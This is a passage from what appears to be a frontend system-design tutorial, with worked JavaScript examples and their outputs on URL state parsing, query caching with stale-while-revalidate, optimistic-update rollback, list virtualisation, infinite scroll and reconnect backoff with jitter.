  const page = Number.parseInt(params.get("page") ?? "1", 10);
  return {
    q: params.get("q") ?? defaults.q,
    sort: ["relevance", "price-asc", "price-desc"].includes(params.get("sort")) ? params.get("sort") : defaults.sort,
    page: Number.isInteger(page) && page > 0 ? page : 1, // never trust the URL: users edit it
    brands: params.getAll("brands"),
    inStock: params.get("inStock") === "true",
  };
}

const a = toSearch({ ...defaults, q: "running shoes", brands: ["Nike", "Asics"], inStock: true });
const b = toSearch({ ...defaults, inStock: true, brands: ["Asics", "Nike"], q: "running shoes" });
console.log(a);
console.log("same state, same URL:", a === b);
console.log(fromSearch(a));
console.log(fromSearch("page=-4&sort=hacked"));
Result
brands=Asics&brands=Nike&inStock=true&q=running+shoes
same state, same URL: true
{
  q: 'running shoes',
  sort: 'relevance',
  page: 1,
  brands: [ 'Asics', 'Nike' ],
  inStock: true
}
{ q: '', sort: 'relevance', page: 1, brands: [], inStock: false }
What’s happening
  1. toSearch turns a state object into a query string. It skips defaults (sort: "relevance", page: 1, inStock: false aren't written) so URLs stay short and two ways of saying "the default" don't produce two URLs.
  2. Arrays become repeated keys (brands=Asics&brands=Nike), sorted, and params.sort() orders the keys. That's why a and b are identical even though the brands and keys were given in different orders: same state, same URL: true. Deterministic URLs matter beyond looks: they're the cache key for the CDN, the query cache and analytics.
  3. fromSearch goes the other way and fills in defaults for anything missing, so brands=Asics&brands=Nike&inStock=true&q=running+shoes comes back as the full object with sort: 'relevance' and page: 1.
  4. The last line feeds in a hand-edited URL, page=-4&sort=hacked. Users and bots edit URLs, so every field is validated: page must be a positive integer and sort one of the allowed values. Both fall back to defaults instead of reaching your API as page=-4.
  5. In an app, the router owns this (React Router's useSearchParams, Angular's ActivatedRoute.queryParamMap), and components read filters from the URL instead of keeping a copy in a store. Changing a filter navigates (usually with replace for typing, push for deliberate choices), and the data query is keyed by the parsed state.

#Data fetching and client caching

Added

Once you've decided that server data lives in a query cache, the cache's behaviour becomes part of your design: when it fetches, when it reuses, when it refetches, and when it throws data away. A query cache keys every request (["post", 42], ["feed", { cursor }]) and gives each key a lifecycle. It deduplicates requests that are already in flight, so three components asking for the same key cause one request. It serves cached data while it's fresh and keeps serving it when it's stale while refetching in the background (stale-while-revalidate, named after the HTTP Cache-Control extension from RFC 5861). It invalidates keys when you know they changed (after your own mutation) and garbage-collects keys nobody has used for a while.

The second half of the design is writes. A mutation can wait for the server and then invalidate, which is simple and always correct, or it can be optimistic: update the cache immediately as if the server had said yes, and roll back if it says no. Optimistic updates make likes, checkboxes and reorders feel instant; they cost you a rollback path and care when several mutations overlap.

A mental model: a shared office fridge with a date on the milk. Until the date (staleTime) the milk is fresh and everyone just takes it. After the date it's stale but probably fine: you pour it and someone goes to the shop for a new carton (revalidate in the background). If three people notice at once, only one goes to the shop (dedup). If you know the milk went off because you spilled something in it (a mutation), you throw it out and buy new now (invalidate). A carton nobody has touched for a week gets thrown out to make space (garbage collection).

empty no data fetching shows a skeleton fresh served, no request stale served as is refetching stale still shown read data staleTime read response arrives: fresh again invalidate (after our own mutation) "read" also means window focus or reconnect · unused for gcTime: removed
One cache entry's lifecycle. Users only see a loading state in "fetching"; every later state has data to show.

This model implements the lifecycle with a fake server (200 ms per request) and a fake clock, so you can see exactly when requests happen:

query-cache.mjs
// A client query cache: dedup in-flight requests, stale-while-revalidate, invalidation. Fake clock and fake server.
let now = 0;
const timers = [];
const after = (ms, fn) => timers.push({ at: now + ms, fn });
const tick = () => new Promise((r) => setImmediate(r)); // let promise callbacks run
async function advanceTo(t) {
  await tick(); // finish whatever the last step started
  for (let next; (next = timers.sort((a, b) => a.at - b.at)[0]) && next.at <= t; ) {
    timers.shift(); now = next.at; next.fn(); await tick();
  }
  now = t;
}

let serverVersion = 1, requests = 0;
const fakeFetch = (key) => { requests++; const v = serverVersion; return new Promise((r) => after(200, () => r(`${key}@v${v}`))); };

const STALE_TIME = 5000;
const cache = new Map(); // key -> { data, updatedAt, inFlight }

function revalidate(key) {
  const entry = cache.get(key) ?? {};
  if (!entry.inFlight) { // dedup: one request per key at a time
    entry.inFlight = fakeFetch(key).then((data) => {
      Object.assign(entry, { data, updatedAt: now, inFlight: null });
      return data;
    });
    cache.set(key, entry);
  }
  return entry.inFlight;
}
async function query(key) {
  const entry = cache.get(key);
  if (entry?.data === undefined) return { data: await revalidate(key), from: "network" };
  if (now - entry.updatedAt < STALE_TIME) return { data: entry.data, from: "cache, fresh" };
  revalidate(key); // stale: answer now from cache, refresh in the background
  return { data: entry.data, from: "cache, stale (refetching)" };
}
const invalidate = (key) => { cache.get(key).updatedAt = -Infinity; return revalidate(key); };

const log = (who) => ({ data, from }) => console.log(`t=${String(now).padStart(4)}  ${who.padEnd(8)} ${data}  ${from}  [requests: ${requests}]`);

["Header", "Sidebar", "List"].forEach((who) => query("todos").then(log(who))); // three mounts, same key
await advanceTo(1000); query("todos").then(log("List"));
serverVersion = 2; // someone else edits the data
await advanceTo(6000); query("todos").then(log("List"));
await advanceTo(6300); query("todos").then(log("List"));
serverVersion = 3; // our own mutation succeeded
await advanceTo(7000); invalidate("todos");
await advanceTo(7300); query("todos").then(log("List"));
await advanceTo(7400);
Result
t= 200  Header   todos@v1  network  [requests: 1]
t= 200  Sidebar  todos@v1  network  [requests: 1]
t= 200  List     todos@v1  network  [requests: 1]
t=1000  List     todos@v1  cache, fresh  [requests: 1]
t=6000  List     todos@v1  cache, stale (refetching)  [requests: 2]
t=6300  List     todos@v2  cache, fresh  [requests: 2]
t=7300  List     todos@v3  cache, fresh  [requests: 3]
What’s happening
  1. At t=0 three components (Header, Sidebar, List) mount and all call query("todos"). The first finds no entry and calls revalidate, which stores the request's promise in entry.inFlight. The other two find that promise and await the same one: requests: 1. At t=200 the response arrives and all three get todos@v1. Without dedup, a page with ten components reading the current user makes ten identical requests.
  2. At t=1000 List reads again. The entry was updated at 200, so its age is 800 ms, under STALE_TIME (5,000 ms): cache, fresh, no request. Meanwhile serverVersion = 2: someone else changed the data, and the client can't know yet.
  3. At t=6000 the age is 5,800 ms, so the entry is stale. query returns todos@v1 immediately (cache, stale (refetching)) and starts a background request (requests: 2). The user sees data instantly instead of a spinner; the price is that it may be out of date for one round trip.
  4. At t=6300 the background response has landed (at 6,200), the entry is fresh again, and the read gets todos@v2 with no new request. The UI would have re-rendered at 6,200 with the new data.
  5. At t=7000 our own mutation succeeds (serverVersion = 3) and we call invalidate("todos"), which marks the entry stale and refetches now rather than waiting for the next read. At t=7300 the read gets todos@v3, requests: 3. Invalidation is how you make your own writes visible immediately; staleTime is how you bound how long other people's writes can stay invisible.
  6. What's missing compared with TanStack Query, SWR or RTK Query: retries with backoff, refetch on window focus and reconnect, gcTime (removing unused entries, 5 minutes by default in TanStack Query 5), cancelling a request when its key is no longer wanted, and subscriptions so components re-render when an entry changes. The core decisions are the three you saw: dedup, freshness and invalidation.
AdvancedChoosing staleTime per kind of data

Choosing staleTime is a product decision about how out-of-date each kind of data may be:

DatastaleTimeWhy
Feature flags, country listHours, or until the next deployChanges rarely; a stale value is harmless
User profile, settingsMinutesChanges when the user changes it, and then you invalidate
Feed, search results0–30 sOthers change it constantly; show cached, refresh in the background
Stock levels, seat maps, prices at checkout0, plus live updatesA stale value causes a wrong purchase; confirm on the server anyway
AdvancedOptimistic updates and rollback

For actions that almost always succeed and should feel instant (like, follow, mark as read, reorder), update the cache before the server answers. The hard part isn't the happy path, it's rolling back correctly when several mutations overlap:

optimistic.mjs
// Optimistic updates with rollback. Two mutations on one post: "like" (slow, fails) then "bookmark" (fast, succeeds).
const apply = (post, op) => (op === "like" ? { ...post, liked: true, likes: post.likes + 1 } : { ...post, saved: true });
const show = (p) => `likes=${p.likes} liked=${p.liked} saved=${p.saved}`;
const start = { likes: 10, liked: false, saved: false };
const server = (op) => new Promise((ok, fail) =>
  setTimeout(() => (op === "like" ? fail(new Error("503")) : ok()), op === "like" ? 50 : 10));

// Naive: snapshot before each mutation, restore the snapshot on failure.
async function naive() {
  let view = start;
  const mutate = async (op) => {
    const snapshot = view;
    view = apply(view, op); // optimistic
    console.log(`  ${op.padEnd(8)} sent      -> ${show(view)}`);
    try { await server(op); console.log(`  ${op.padEnd(8)} confirmed -> ${show(view)}`); }
    catch (e) { view = snapshot; console.log(`  ${op.padEnd(8)} failed ${e.message} -> ${show(view)}`); }
  };
  await Promise.all([mutate("like"), mutate("bookmark")]);
  return view;
}

// Better: keep the confirmed state plus a list of pending ops; the view is always confirmed + pending.
async function queue() {
  let confirmed = start;
  const pending = [];
  const view = () => pending.reduce(apply, confirmed);
  const mutate = async (op) => {
    pending.push(op);
    console.log(`  ${op.padEnd(8)} sent      -> ${show(view())}`);
    try {
      await server(op);
      confirmed = apply(confirmed, op); // the server's truth now includes it
      pending.splice(pending.indexOf(op), 1);
      console.log(`  ${op.padEnd(8)} confirmed -> ${show(view())}`);
    } catch (e) {
      pending.splice(pending.indexOf(op), 1); // drop only this op; others stay applied
      console.log(`  ${op.padEnd(8)} failed ${e.message} -> ${show(view())}`);
    }
  };
  await Promise.all([mutate("like"), mutate("bookmark")]);
  return view();
}

console.log("snapshot rollback:");
console.log("  final:", show(await naive()));
console.log("pending-ops rollback:");
console.log("  final:", show(await queue()));
Result
snapshot rollback:
  like     sent      -> likes=11 liked=true saved=false
  bookmark sent      -> likes=11 liked=true saved=true
  bookmark confirmed -> likes=11 liked=true saved=true
  like     failed 503 -> likes=10 liked=false saved=false
  final: likes=10 liked=false saved=false
pending-ops rollback:
  like     sent      -> likes=11 liked=true saved=false
  bookmark sent      -> likes=11 liked=true saved=true
  bookmark confirmed -> likes=11 liked=true saved=true
  like     failed 503 -> likes=10 liked=false saved=true
  final: likes=10 liked=false saved=true
What’s happening
  1. Both clients run the same sequence: like is sent first and is slow (50 ms) and fails with a 503; bookmark is sent right after and succeeds in 10 ms. The view updates instantly on each send: likes=11 liked=true, then saved=true as well.
  2. Snapshot rollback (the common tutorial version) saves snapshot = view before each mutation. like's snapshot is the original post (likes=10, saved=false), taken before the bookmark existed.
  3. The bookmark is confirmed at 10 ms. At 50 ms the like fails, and the naive client restores its snapshot: likes=10 liked=false saved=false. The confirmed bookmark is gone from the UI, even though the server has it. The user sees their bookmark vanish and will tap it again, maybe creating a duplicate.
  4. Pending-ops rollback keeps two things: confirmed (what the server has accepted) and pending (operations sent but not answered). The view is always pending.reduce(apply, confirmed), recomputed rather than stored.
  5. When the bookmark is confirmed, it's applied to confirmed and removed from pending. When the like fails, only the like is removed from pending. The view is recomputed from what's left: likes=10 liked=false saved=true. That's the truth: the like didn't happen, the bookmark did.
  6. Libraries give you the pieces: TanStack Query's onMutate / onError context (a snapshot, so the same trap applies if mutations overlap on one entity, which is why its docs suggest cancelling queries and invalidating after settling), and React 19's useOptimistic, which derives the optimistic value from the real state plus pending actions, like the second client. Whichever you use, show the user that the action failed ("Couldn't like this post. Retry?"), not just a silent rollback.

#Infinite scroll and list virtualisation

Added

Long lists raise two separate problems, and it's worth naming them separately in an interview. Infinite scroll is about data: you can't download 10,000 posts up front, so you fetch a page at a time (with a cursor) and fetch the next page as the user nears the end. Virtualisation (windowing) is about the DOM: even once you have 10,000 posts in memory, rendering 10,000 rows costs layout time, memory and style recalculation on every change, so you render only the rows in view plus a few extra (overscan). A long feed needs both: pages arrive by infinite scroll, and the rows that exist in the DOM are a small window over everything loaded.

The windowing maths is simple. A tall empty spacer (total rows × row height) gives the scroll container the right scrollbar. From the scroll offset you compute the first and last visible row, widen that range by the overscan, and position each rendered row absolutely at index × rowHeight (or with transform: translateY). As the user scrolls, rows leaving the range unmount and rows entering it mount, so the number of DOM nodes depends on the screen size, not on the data.

A mental model: an escalator. From the bottom it looks like an endless staircase, but there are only a few dozen steps; each step that leaves the top goes round underneath and comes back at the bottom. The user sees an endless list; the DOM holds the same twenty rows, re-used.

windowing.mjs
// Which rows of a fixed-height virtual list are in the DOM for a given scroll offset?
const ROW = 40; // px per row
const VIEWPORT = 600; // px tall scroll container
const COUNT = 10_000; // rows in the data
const OVERSCAN = 3; // extra rows rendered above and below

function range(scrollTop) {
  const first = Math.floor(scrollTop / ROW); // first row touching the top edge
  const last = Math.min(COUNT - 1, Math.ceil((scrollTop + VIEWPORT) / ROW) - 1); // last row touching the bottom
  const start = Math.max(0, first - OVERSCAN);
  const end = Math.min(COUNT - 1, last + OVERSCAN);
  return { first, last, start, end, nodes: end - start + 1, top: start * ROW };
}

console.log(`spacer height: ${COUNT * ROW}px for ${COUNT} rows`);
const CHROME_MAX = 33_554_400; // tallest element Chrome lays out (measured by Eric Meyer, 2025)
console.log(`rows of ${ROW}px that fit under that cap: ${Math.floor(CHROME_MAX / ROW)}`);
for (const scrollTop of [0, 20, 1000, 200_000, COUNT * ROW - VIEWPORT]) {
  const r = range(scrollTop);
  console.log(
    `scrollTop ${String(scrollTop).padStart(6)}: visible ${r.first}–${r.last}, rendered ${r.start}–${r.end} ` +
      `(${r.nodes} nodes), first rendered row at top: ${r.top}px`,
  );
}
Result
spacer height: 400000px for 10000 rows
rows of 40px that fit under that cap: 838860
scrollTop      0: visible 0–14, rendered 0–17 (18 nodes), first rendered row at top: 0px
scrollTop     20: visible 0–15, rendered 0–18 (19 nodes), first rendered row at top: 0px
scrollTop   1000: visible 25–39, rendered 22–42 (21 nodes), first rendered row at top: 880px
scrollTop 200000: visible 5000–5014, rendered 4997–5017 (21 nodes), first rendered row at top: 199880px
scrollTop 399400: visible 9985–9999, rendered 9982–9999 (18 nodes), first rendered row at top: 399280px
What’s happening
  1. The spacer is 10,000 × 40 = 400,000px tall, so the scrollbar thumb is tiny and dragging it to the middle lands at row 5,000, exactly as if all rows existed.
  2. At scrollTop 0, the first visible row is floor(0 / 40) = 0 and the last is ceil((0 + 600) / 40) − 1 = 14: 15 rows fill 600px. Overscan adds 3 below (there's nothing above row 0), so rows 0–17 render: 18 nodes.
  3. At scrollTop 20 the view is half a row down, so rows 0–15 are partly visible (16 rows touch the viewport) and 19 nodes render. Using floor for the first row and ceil for the last is what makes partly visible rows count.
  4. At scrollTop 1000 the visible rows are 25–39 and the rendered range is 22–42: 21 nodes (15 visible + 3 + 3 overscan). At an offset that isn't a multiple of 40, one more row is partly visible, so 22 nodes is the most this viewport ever needs. Row 22's top is 22 × 40 = 880px. The same 21 nodes are enough at row 5,000 (scrollTop 200000): DOM size doesn't grow with how far you scroll.
  5. At the end (scrollTop 399400, the maximum: 400,000 − 600) the range clamps at row 9,999, so only 18 nodes render. Math.min(COUNT − 1, …) and Math.max(0, …) are the two clamps that keep the maths honest at both ends.
  6. The cap line is a limit you only meet with huge lists: Chrome caps an element's computed height at about 33.5 million pixels (Eric Meyer measured 33,554,400px in Chrome, "Infinite Pixels", 2025), so a single spacer holds at most 838,860 rows of 40px. Beyond that, virtual-list libraries scale the scroll position (scroll 1px, move several rows).
AdvancedLive demo: the window inside a spacer

Here is the layout a virtual list produces. The page's examples can't run scripts, so the first demo shows the window rendered at scroll offset 0 inside a real scroll container: scroll it and you'll find blank space after row 7, because nothing is moving the window. In an app, a scroll listener (or the library) recomputes the range on every scroll and re-renders.

The window at offset 0 inside a 40,000px spacer
CSS
.viewport { position: relative; width: 260px; height: 200px; overflow-y: auto; border: 2px solid #94a3b8; background: #f8fafc; }
.spacer { position: relative; height: 40000px; } /* 1,000 rows × 40px */
.row {
  position: absolute; left: 0; right: 0; height: 40px; box-sizing: border-box;
  padding: 0 10px; line-height: 39px; border-bottom: 1px solid #cbd5e1;
  background: #dbeafe; color: #1e3a8a; font-size: 14px;
}
.row.over { background: #fde68a; color: #713f12; } /* overscan: in the DOM, below the fold */
HTML
<div class="viewport" role="list" aria-label="Posts">
  <div class="spacer">
    <div class="row" style="top: 0px">Row 0</div>
    <div class="row" style="top: 40px">Row 1</div>
    <div class="row" style="top: 80px">Row 2</div>
    <div class="row" style="top: 120px">Row 3</div>
    <div class="row" style="top: 160px">Row 4</div>
    <div class="row over" style="top: 200px">Row 5</div>
    <div class="row over" style="top: 240px">Row 6</div>
    <div class="row over" style="top: 280px">Row 7</div>
  </div>
</div>
Resultlive, in your browser
What’s happening
  1. .viewport is the scroll container: 200px tall with overflow-y: auto. Inside it, .spacer is 40,000px tall, and the test measures the viewport's scrollHeight as exactly 40000: that's what makes the scrollbar behave as if 1,000 rows were there.
  2. Only 8 .row elements exist. Each is position: absolute with top: index × 40px, so its position doesn't depend on the rows before it existing: row 0 measures 0px from the viewport's top edge and row 7 measures 280px.
  3. The 200px viewport shows rows 0–4 (the test finds exactly those five inside it). Rows 5–7, in yellow, are the overscan: rendered but below the fold, so a small scroll reveals content immediately instead of a gap.
  4. The test then sets scrollTop = 1000 (row 25 at the top) and finds no row in view: the spacer scrolled, the rows didn't change. That blank area is what users see on a fast fling when the code that moves the window can't keep up, which is the reason for overscan and for keeping row rendering cheap.
  5. The role="list" on the container is a start; each real row should be a list item with aria-setsize (total count) and aria-posinset (its index + 1), so screen readers announce "item 26 of 1,000" even though only a handful of rows exist.
AdvancedX-ray demo: overscan around the viewport

The second demo is an x-ray of the same list after scrolling to 1,000px. The real code would set scrollTop; here the content is shifted up by 880px so you can see the overscan rows outside the viewport outline.

X-ray: rows 22–32 rendered for scrollTop 1000
CSS
.stage { position: relative; width: 260px; height: 440px; }
.content { position: absolute; left: 0; right: 0; top: -880px; } /* content shifted by row 22's top */
.row {
  position: absolute; left: 0; right: 0; height: 40px; box-sizing: border-box;
  padding: 0 10px; line-height: 39px; border-bottom: 1px solid #cbd5e1;
  background: #dbeafe; color: #1e3a8a; font-size: 14px;
}
.row.over { background: #fde68a; color: #713f12; opacity: 0.75; }
.window { position: absolute; left: -4px; right: -4px; top: 120px; height: 200px; box-sizing: border-box; border: 3px solid #db2777; border-radius: 4px; pointer-events: none; }
HTML
<div class="stage">
  <div class="content">
    <div class="row over" style="top: 880px">Row 22</div>
    <div class="row over" style="top: 920px">Row 23</div>
    <div class="row over" style="top: 960px">Row 24</div>
    <div class="row" style="top: 1000px">Row 25</div>
    <div class="row" style="top: 1040px">Row 26</div>
    <div class="row" style="top: 1080px">Row 27</div>
    <div class="row" style="top: 1120px">Row 28</div>
    <div class="row" style="top: 1160px">Row 29</div>
    <div class="row over" style="top: 1200px">Row 30</div>
    <div class="row over" style="top: 1240px">Row 31</div>
    <div class="row over" style="top: 1280px">Row 32</div>
  </div>
  <div class="window" aria-hidden="true"></div>
</div>
Resultlive, in your browser
What’s happening
  1. The real list would be scrolled by 1,000px, putting row 25 at the viewport's top edge. Here .content is shifted up by only 880px (row 22's position) and the pink outline is drawn 120px down, so the three overscan rows above the viewport stay visible instead of being clipped.
  2. Eleven rows exist, matching windowing.mjs-style maths for this smaller viewport: visible rows floor(1000 / 40) = 25 to ceil(1200 / 40) − 1 = 29, plus 3 overscan on each side: 22–32.
  3. Each row still uses its absolute position in the full list: row 22 measures 880px from the content's top, and every next row is 40px lower. Nothing about a row's position depends on rows 0–21, which don't exist.
  4. The pink .window outline is the viewport. Rows 25–29 fall exactly inside it (the test checks all five), rows 22–24 sit above it and rows 30–32 below it. Those six yellow rows are what absorbs a quick scroll of up to 120px either way without a blank frame.
  5. On a real page those yellow rows are clipped by overflow, so you'd never see them. Making them visible like this is a good way to debug a virtual list: give the scroll container overflow: visible temporarily and watch rows appear and disappear at the edges.
AdvancedVariable row heights

Feed posts aren't all 40px. With variable heights you keep an array of offsets (prefix sums of heights) and find the first visible row by binary search instead of division:

variable-window.mjs
// Variable row heights: prefix sums of heights + binary search for the first visible row.
function mulberry32(seed) { // small seeded PRNG, so the output is the same on every run
  return () => {
    seed = (seed + 0x6d2b79f5) | 0;
    let t = Math.imul(seed ^ (seed >>> 15), 1 | seed);
    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  };
}
const rand = mulberry32(42);
const COUNT = 100_000, VIEWPORT = 600, OVERSCAN = 2;
const heights = Array.from({ length: COUNT }, () => 40 + Math.floor(rand() * 5) * 20); // 40, 60, … 120 px

// offsets[i] = top of row i; offsets[COUNT] = total height. Built once in O(n), updated when a row is measured.
const offsets = new Float64Array(COUNT + 1);
for (let i = 0; i < COUNT; i++) offsets[i + 1] = offsets[i] + heights[i];

function rowAt(y) { // last row whose top is <= y, in O(log n)
  let lo = 0, hi = COUNT - 1, steps = 0;
  while (lo < hi) {
    steps++;
    const mid = (lo + hi + 1) >> 1;
    if (offsets[mid] <= y) lo = mid; else hi = mid - 1;
  }
  return { row: lo, steps };
}

console.log(`total height: ${offsets[COUNT]}px, average row ${(offsets[COUNT] / COUNT).toFixed(1)}px`);
for (const scrollTop of [0, 1_000_000, 7_999_000]) {
  const { row: first, steps } = rowAt(scrollTop);
  const { row: last } = rowAt(scrollTop + VIEWPORT - 1);
  const start = Math.max(0, first - OVERSCAN), end = Math.min(COUNT - 1, last + OVERSCAN);
  console.log(`scrollTop ${String(scrollTop).padStart(7)}: visible ${first}–${last}, rendered ${start}–${end}, ` +
    `row ${start} at ${offsets[start]}px (${steps} search steps)`);
}
Result
total height: 8012540px, average row 80.1px
scrollTop       0: visible 0–7, rendered 0–9, row 0 at 0px (16 search steps)
scrollTop 1000000: visible 12498–12506, rendered 12496–12508, row 12496 at 999760px (17 search steps)
scrollTop 7999000: visible 99834–99840, rendered 99832–99842, row 99832 at 7998860px (16 search steps)
What’s happening
  1. The heights come from a seeded PRNG (mulberry32(42)), so the run is reproducible: each of the 100,000 rows is 40, 60, 80, 100 or 120px. The total is 8,012,540px, an average of 80.1px.
  2. offsets[i] is the top of row i: offsets[i + 1] = offsets[i] + heights[i]. Building it is one pass over the rows; after that, "where is row i?" is an array read.
  3. rowAt(y) finds the last row whose top is at or above y with a binary search: 16–17 steps for 100,000 rows (log₂ 100,000 ≈ 16.6), versus up to 100,000 steps for a linear scan on every scroll event.
  4. At scrollTop 1000000, row 12,498 is at the top and 12,506 at the bottom (nine rows of about 80px fill 600px); with 2 rows of overscan, 12,496–12,508 render, and row 12,496 is placed at 999,760px.
  5. In reality you don't know a row's height until it renders (text wraps, images load). Libraries start with an estimate for every row, measure rows as they render (with a ResizeObserver), and update the offsets. The scrollbar then shifts slightly as estimates are replaced, and keeping the content still while rows above change height (scroll anchoring) is the fiddly part. Give images fixed dimensions so heights are known before they load.
AdvancedLoading the next page

Infinite scroll decides when to fetch. With a virtual list you already know the last rendered index, so you fetch when it gets within a threshold of the end of what's loaded. Without one, an IntersectionObserver watching a sentinel element near the bottom does the same job.

infinite-loader.mjs
// Infinite scroll: fetch the next page when the rendered window gets near the end of what's loaded.
const ROW = 40, VIEWPORT = 600, OVERSCAN = 3, PAGE = 50, THRESHOLD = 10; // rows before the end
const TOTAL = 180; // the server has 180 posts

const server = { calls: 0, page(cursor) { // cursor-based: "items after id X"
  this.calls++;
  const from = cursor ?? 0;
  const items = Array.from({ length: Math.min(PAGE, TOTAL - from) }, (_, i) => `post-${from + i}`);
  const next = from + items.length;
  return Promise.resolve({ items, nextCursor: next < TOTAL ? next : null });
} };

const state = { items: [], nextCursor: undefined, loading: null };
function loadMore() {
  if (state.loading || state.nextCursor === null) return state.loading; // in flight, or nothing left
  state.loading = server.page(state.nextCursor).then(({ items, nextCursor }) => {
    state.items.push(...items);
    Object.assign(state, { nextCursor, loading: null });
  });
  return state.loading;
}

async function onScroll(scrollTop) {
  const end = Math.min(state.items.length - 1, Math.ceil((scrollTop + VIEWPORT) / ROW) - 1 + OVERSCAN);
  const near = state.items.length - 1 - end <= THRESHOLD;
  const p = near ? [loadMore(), loadMore(), loadMore()] : []; // scroll events fire in bursts
  await Promise.all(p);
  console.log(`scrollTop ${String(scrollTop).padStart(4)}: rendered up to ${end}, near end: ${near ? "yes" : "no "}, ` +
    `loaded ${state.items.length}, requests ${server.calls}, ${state.nextCursor === null ? "end of feed" : `next cursor ${state.nextCursor}`}`);
}

await loadMore(); // first page
for (const y of [0, 800, 1200, 3000, 5000, 6600, 7000]) await onScroll(y);
Result
scrollTop    0: rendered up to 17, near end: no , loaded 50, requests 1, next cursor 50
scrollTop  800: rendered up to 37, near end: no , loaded 50, requests 1, next cursor 50
scrollTop 1200: rendered up to 47, near end: yes, loaded 100, requests 2, next cursor 100
scrollTop 3000: rendered up to 92, near end: yes, loaded 150, requests 3, next cursor 150
scrollTop 5000: rendered up to 142, near end: yes, loaded 180, requests 4, end of feed
scrollTop 6600: rendered up to 179, near end: yes, loaded 180, requests 4, end of feed
scrollTop 7000: rendered up to 179, near end: yes, loaded 180, requests 4, end of feed
What’s happening
  1. The first page loads 50 posts (requests 1, next cursor 50). The cursor is an opaque "after this item" marker from the server (see Pagination at the API level); offsets would skip or repeat posts when new ones are inserted at the top.
  2. At scrollTop 0 and 800 the last rendered row is 17 and 37: 32 and 12 rows from the end of the 50 loaded, more than the THRESHOLD of 10, so nothing is fetched.
  3. At scrollTop 1200 the last rendered row is 47, within 10 of the end. onScroll calls loadMore() three times, the way a burst of scroll events would, but state.loading holds the in-flight promise, so only one request goes out (requests 2). This is the same dedup as the query cache, and without it a fast scroll fires a dozen requests for the same page.
  4. Pages arrive at 3,000 and 5,000px. The last page has only 30 posts and returns nextCursor: null, so the loader records the end of the feed (end of feed, 180 loaded).
  5. At 6,600 and 7,000px the window is at the end, but loadMore returns early because nextCursor === null: requests 4 stays at 4. The UI should show an "You're all caught up" row there, not a spinner that never ends.
AdvancedWhat virtualisation breaks

Alternatives and limits worth naming in an interview:

  • Pagination or "Load more" instead of infinite scroll when users need to reach the footer, return to a position, or share "page 3" (search results, catalogues). Infinite scroll suits feeds people browse, not lists people search.
  • content-visibility: auto lets the browser skip rendering off-screen sections while keeping them in the DOM, so find-in-page and anchors still work. It suits long articles and moderate lists (hundreds of items); it doesn't remove the DOM nodes, so it won't save you at 100,000 rows.
  • Memory: an infinite feed keeps every loaded page in memory. After a few hundred posts, drop pages far from the window and refetch them if the user scrolls back.
  • Bidirectional lists (chat) load older pages at the top; inserting above the viewport must adjust scrollTop by the inserted height, or the content jumps (see Design a chat app UI).

#Real-time updates in the client

Added

When data changes on the server, the browser has four ways to find out. Polling: ask every N seconds (cheap to build, wasteful and laggy). Long polling: ask, and the server holds the request open until there's something to say, then the client immediately asks again. Server-Sent Events (SSE): one long HTTP response that the server keeps writing events to; the browser's EventSource parses them and reconnects by itself. WebSockets: an upgraded connection that carries messages both ways with little overhead; the browser gives you the socket and nothing else, so reconnection, heartbeats and resuming are your code.

The client-side design is mostly about the unhappy path: connections drop on every network change, laptop sleep and server deploy. A good real-time client reconnects with exponential backoff and jitter so a server restart isn't followed by every client reconnecting in the same second, resumes from the last event it saw so nothing is missed or duplicated, and applies updates to the cache the rest of the UI reads, rather than to a separate copy.

A mental model: polling is checking the mailbox every five minutes. Long polling is waiting at the mailbox until a letter comes, then walking back to wait again. SSE is a radio: you can only listen, but if the signal drops it retunes by itself and can tell the station where it left off. A WebSocket is a phone call: both sides talk freely, but if the call drops, you have to redial, and you'd better not have everyone redial at the same instant.

Polling ask every N s Long polling server holds it SSE one response, many events WebSocket two-way messages clientserver emptyempty dataempty held until data event upgrade
Top line of each pair is the client, bottom line the server; filled bars are a request or connection being held open.

Whatever transport you choose, the reconnect delay is the piece every client gets wrong at least once. Exponential backoff spaces attempts out; jitter randomises them so clients that dropped together don't retry together:

backoff.mjs
// Reconnect delays: exponential backoff with a cap, plus "full jitter" (a random delay between 0 and the backoff).
function mulberry32(seed) { // seeded PRNG: the same "random" numbers on every run
  return () => {
    seed = (seed + 0x6d2b79f5) | 0;
    let t = Math.imul(seed ^ (seed >>> 15), 1 | seed);
    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  };
}
const rand = mulberry32(7);
const BASE = 500, CAP = 30_000; // ms

const backoff = (attempt) => Math.min(CAP, BASE * 2 ** attempt); // 500, 1000, 2000, … capped at 30 s
const fullJitter = (attempt) => Math.floor(rand() * backoff(attempt));

console.log("attempt  backoff  with full jitter");
for (let attempt = 0; attempt < 9; attempt++) {
  console.log(`${String(attempt).padStart(7)}  ${String(backoff(attempt)).padStart(7)}  ${String(fullJitter(attempt)).padStart(7)}`);
}

// A connection that stays up for a while resets the attempt counter; one that drops at once does not.
const STABLE_MS = 10_000;
let attempt = 0;
for (const upFor of [200, 150, 30_000, 100]) {
  attempt = upFor >= STABLE_MS ? 0 : attempt + 1;
  console.log(`connection lasted ${String(upFor).padStart(5)} ms -> next attempt #${attempt}, wait up to ${backoff(attempt)} ms`);
}
Result
attempt  backoff  with full jitter
      0      500        5
      1     1000       61
      2     2000     1953
      3     4000     2796
      4     8000     4171
      5    16000     6488
      6    30000    13986
      7    30000     7197
      8    30000    16599
connection lasted   200 ms -> next attempt #1, wait up to 1000 ms
connection lasted   150 ms -> next attempt #2, wait up to 2000 ms
connection lasted 30000 ms -> next attempt #0, wait up to 500 ms
connection lasted   100 ms -> next attempt #1, wait up to 1000 ms
What’s happening
  1. backoff(attempt) doubles from BASE (500 ms): 500, 1,000, 2,000, 4,000, 8,000, 16,000, then the CAP of 30,000 ms from attempt 6 on. Without a cap, attempt 10 would wait over eight minutes, and a user who comes back online would think the app is broken.
  2. fullJitter picks a uniformly random delay between 0 and the backoff (seeded with mulberry32(7) so this output is reproducible). Attempt 3's ceiling is 4,000 ms; this client drew 2,796 ms. Another client would draw a different number, which is the whole point.
  3. Some jittered delays are tiny (5 ms on attempt 0, 61 ms on attempt 1). That's fine: the first retry should be quick, because most drops are momentary (a Wi-Fi handover), and only repeated failures should slow the client down.
